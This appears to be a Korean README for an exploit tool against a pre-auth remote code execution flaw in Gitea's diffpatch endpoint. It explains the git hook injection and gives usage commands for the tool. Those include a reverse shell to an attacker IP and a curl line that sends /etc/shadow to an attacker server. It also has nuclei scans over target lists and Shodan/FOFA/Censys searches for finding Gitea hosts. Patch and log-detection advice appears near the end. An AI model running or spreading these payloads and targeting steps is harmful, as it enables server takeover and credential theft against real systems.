
CVE-2026-60004 사전 인증 RCE 익스플로잇 — Gitea <= 1.27.0 diffpatch git 훅 주입 (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| 속성 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-60004 |
| CVSS 점수 | 9.8 (치명적) |
| CWE | CWE-94 (코드 주입) |
| 영향을 받는 버전 | Gitea 1.17~1.27.0 |
| 수정된 버전 | Gitea 1.27.1 (2026년 7월 27일 릴리스) |
| 취약한 엔드포인트 | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| 발견자 | Shai Rod (NightRang3r) |
| EPSS 점수 | 0.95 (95% 악용 확률) |
이 취약점은 Gitea의 diffpatch API 엔드포인트가 사용자가 제공한 Git 패치를 처리하는 방식을 악용합니다:
베어 클론 함정 — 이 엔드포인트는 작업 트리가 없는 베어(bare) 임시 클론을 생성하므로, 해당 루트 디렉터리가 곧 $GIT_DIR이 됩니다.
패치 처리 — git apply가 --index, --recount, --cached, --binary 플래그와 함께 호출되며, (Git ≥ 2.32에서는) 3-way 병합 폴백을 위해 -3도 함께 사용됩니다.
Add/Add 충돌 — 공격자가 동일한 악성 패치를 두 번 전송하면 add/add 충돌이 발생합니다. Git의 3-way 폴백이 패치의 파일 경로를 디스크에 기록하여 --cached 제한을 우회합니다.
훅 주입 — 공격자는 파일 경로가 hooks/post-index-change가 되도록 패치를 제작합니다. 클론이 베어(bare)이므로 이 파일은 Git의 훅 디렉터리에 직접 위치하게 됩니다.
코드 실행 — Git이 인덱스를 업데이트하면 post-index-change 훅을 자동으로 실행하여, 공격자의 셸 명령이 Gitea 서비스 계정 권한으로 실행됩니다.
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
Gitea를 1.27.1 이상 버전으로 업데이트하세요:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
공개 등록을 비활성화하세요 (공격 표면 감소):
# app.ini
[service]
DISABLE_REGISTRATION = true
Gitea를 최소 권한 서비스 계정으로 실행하세요
diffpatch 엔드포인트에 대한 반복적인 POST 요청을 모니터링하세요
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법이며 다음에 위배될 수 있습니다:
저자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
MIT 라이선스 — 자세한 내용은 EQSTLab 저장소를 참조하세요.